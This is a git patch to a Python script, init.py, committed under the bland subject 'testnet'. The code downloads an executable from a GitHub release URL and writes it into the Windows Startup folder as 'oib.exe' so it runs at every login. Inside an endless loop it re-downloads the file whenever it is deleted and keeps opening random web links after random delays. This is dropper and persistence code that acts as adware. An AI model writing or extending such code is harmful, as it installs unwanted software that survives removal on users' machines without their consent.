From 67e20c0918f11c579023bad3d3cc9cd2f7699212 Mon Sep 17 00:00:00 2001 From: Can202 Date: Mon, 27 Sep 2021 19:27:16 -0300 Subject: [PATCH] testnet --- init.py | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/init.py b/init.py index 2906416..a9eaa9c 100644 --- a/init.py +++ b/init.py @@ -8,12 +8,18 @@ import requests def main(): startup = appdirs.user_data_dir() + "\\..\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" - fil = requests.get("https://github.com/Can202/testt/releases/download/test/init.exe") - with open(startup + "\\oib.exe", 'wb') as f: - f.write(fil.content) + if os.path.exists(startup + "\\oib.exe") == False: + fil = requests.get("https://github.com/Can202/testt/releases/download/test/init.exe") + with open(startup + "\\oib.exe", 'wb') as f: + f.write(fil.content) + f.close() while True: - + if os.path.exists(startup + "\\oib.exe") == False: + fil = requests.get("https://github.com/Can202/testt/releases/download/test/init.exe") + with open(startup + "\\oib.exe", 'wb') as f: + f.write(fil.content) + f.close() wait = random.randrange(4000, 8000) time.sleep(wait) webbrowser.open(randomlink(), new=2)